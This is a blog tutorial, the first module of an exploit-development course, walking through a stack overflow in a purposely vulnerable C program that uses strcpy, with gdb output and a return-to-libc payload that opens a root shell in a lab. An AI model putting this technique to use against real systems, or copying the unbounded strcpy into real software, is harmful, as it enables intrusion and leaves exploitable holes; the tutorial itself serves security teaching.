Exploit Modules

Start to finish exploit development.

Module 1 - Basic Stack Overflow

In this module, we'll be taking our first steps into exploit development by exploiting one of the most classic vulnerabilities, a stack overflow. Stack overflows occur when user supplied input is placed into a buffer on the stack which does not have proper bounds checking. The input supplied "overflows" the size of the buffer it's placed into and overwrites memory on the stack. This, under the right circumstances, allows an attacker to control the execution flow of the program and perform arbitrary actions. In this example we'll take advantage of the unsafe C function, strcpy(), to get a shell on our test system. 

What you'll need to complete this module:
    - A 32-bit Linux operating system (I used Kali Linux)
    - A C compiler (gcc) and debugger (gdb)
    - The following vulnerable code snippet:


#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, const char* argv[]) 
{
    char buf[30];
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
    return 0;
}


To start, we'll need to compile our vulnerable C code like so:

    gcc -mpreferred-stack-boundary=2 -ggdb mod1.c -o mod1

The extra flags make it a little more friendly for us to debug and exploit, but aren't necessarily required. 

DISCOVERY:

In this first example, a static analysis of the vulnerable code reveals the vulnerability without much hassle. We can see in main() that we define a char buffer (buf) with a size of 30. Next, the dangerous C function strcpy() copies the first argument passed to the program into our defined buf variable. Without bounds checking, an argument larger than 30 bytes will overflow our char buffer and cause a segmentation fault. We then print the buffer. 

ANALYSIS: 

First, let's just run our mod1 program with some test input to make sure it's working as expected.

Screenshot_1.png

OK, everything looks good. Now let's see what happens when we provide some input that is a bit larger than our buffer can handle (>30 chars). 

Screenshot_2.png

We got a segmentation fault! Let's take a look at this same input in gdb and see what's happening under the hood. We'll place a break point on main() and examine our stack registers before and after the crash.

Screenshot_3.png

Checking out the registers (gdb command 'info reg' or 'i r') shows us that our input (A == 0x41) has overwritten several registers, including EBP and EIP. Controlling the EIP register with our payload will allow us to take control of the program execution and execute arbitrary commands. Let's take the next step and exploit it!!

EXPLOITATION:

Now that we know our program is most likely exploitable, there are a couple more steps to get a working exploit. Our aim this time around will be to pop a shell, and to simplify things we'll do this all from inside gdb.

First, we need to determine which specific position in our payload overwrites EIP to start controlling execution flow. There are tools for this, or you could script the process yourself without too much trouble, but this time around we'll just use good old fashioned trial and error (since our buffer is very small). After a few guesses, we can see that EIP gets overwritten by the 4 bytes after byte 38 in our payload. We've found the "offset" of 38 bytes. 


Starting program: /root/peew.pw/mod1 `python -c 'print "A"*38 + "BBBBCCCCDDDD"'`

Breakpoint 1, main (argc=2, argv=0xbffff3e4) at mod1.c:8
8        strcpy(buf, argv[1]);
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0x0    0
ecx            0xfbad0084    -72548220
edx            0xb7fb1870    -1208280976
ebx            0x41414141    1094795585
esp            0xbffff350    0xbffff350
ebp            0x41414141    0x41414141
esi            0x2    2
edi            0xb7fb0000    -1208287232
eip            0x42424242    0x42424242
eflags         0x10286    [ PF SF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) 


As you can see, EIP has been overwritten by the 4 "B"s (0x42) in our payload, just after our 38 byte offset. We now have a spot to insert shellcode and pop a shell. For this module, we'll be using a very common method, return to libc**. With this technique we'll take advantage of a useful C function that is already loaded in memory at the time of our vulnerable programs execution, system(). System() takes a string parameter and performs the specified system command. After this, we'll want to exit cleanly. We can again take advantage of a preloaded C function, exit(). To manage all this, we'll need to locate the memory addresses of the following:

    1. system()
    2. the string '/bin/sh'
    3. exit()

This is easily accomplished from within gdb. To locate system, simply type "p system", and make note of its location.

    (gdb) p system
    $1 = {<text variable, no debug info>} 0xb7e37b30 <__libc_system>

To find the string '/bin/sh', there are a few different methods. I've found the easiest is to export it into an environment variable (remember, we're just learning here!):

    export SHELL="/bin/sh"

After this, we can reattach to our vulnerable mod1 program and inspect the strings in memory with "x/500s $esp", scrolling until we find "/bin/sh"

Screenshot_5.png

We've discovered our memory address of "/bin/sh" at 0xbffffef8. However, the clever reader will notice that this is the address of the full string "SHELL=/bin/sh". To get only our desired "/bin/sh", we'll need to add 6 bytes to this address (too skip over "SHELL="). This gives us an address of 0xbffffefe. 

Now, all that's left is to find the address of exit() and we'll be ready to build our shellcode. We can accomplish this using the same method we used to find system(). After a quick check in gdb, we see that exit is located at 0xb7e2b7e0. We've got the three pieces we need to successfully build a payload that should result in a  shell. Let's piece it together.

First, we'll need to fill our buffer with nonsense up until our offset of 38 bytes (we'll use some python scripting to simplify the process). 

    gdb -args ./mod1 `python -c 'print "A"*38'`

The next four bytes will overwrite EIP, so we want our the address of our call to system() to go here. Because of the way Little Endian architectures work, the individual bytes of this address will get loaded in reverse order. If you're unfamiliar with Little Endian, I encourage you to look it up briefly.

    gdb -args ./mod1 `python -c 'print "A"*38 + "\x30\x7b\xe3\xb7"'`

Next, we'll need to put our call to exit(), and the parameter for our system() call (again, in reverse Little Endian style).

    gdb -args ./mod1 `python -c 'print "A"*38 + "\x30\x7b\xe3\xb7\xe0\xb7\xe2\xb7\xfe\xfe\xff\xbf"'`

OK! We should theoretically have a working exlpoit here! Let's try it out and see what happens...

Screenshot_6.png

It worked! As you can see in the screenshot above, running the vulnerable program in gdb with our malicious buffer resulted into being dropped immediately into ashell. Since we were running as root in Kali running this program, our shell also has root privileges. This is the main goal of most exploits :) Congratulations! In this module we took a vulnerable program, developed a simple return to libc shellcode snippet, and used it to exploit the program and pop a simple shell. I hope you were challenged, learned a bit, and are ready for Module 2!!


** A quick aside on return to libc... This technique takes advantage of existing system calls in dll's or kernal modules that get loaded during the execution of the vulnerable program. There are lot's of resources out there that explain it better than I can, and you can find some of them in the "References" section of peew.pw, Coming Soon! **

Chris Myers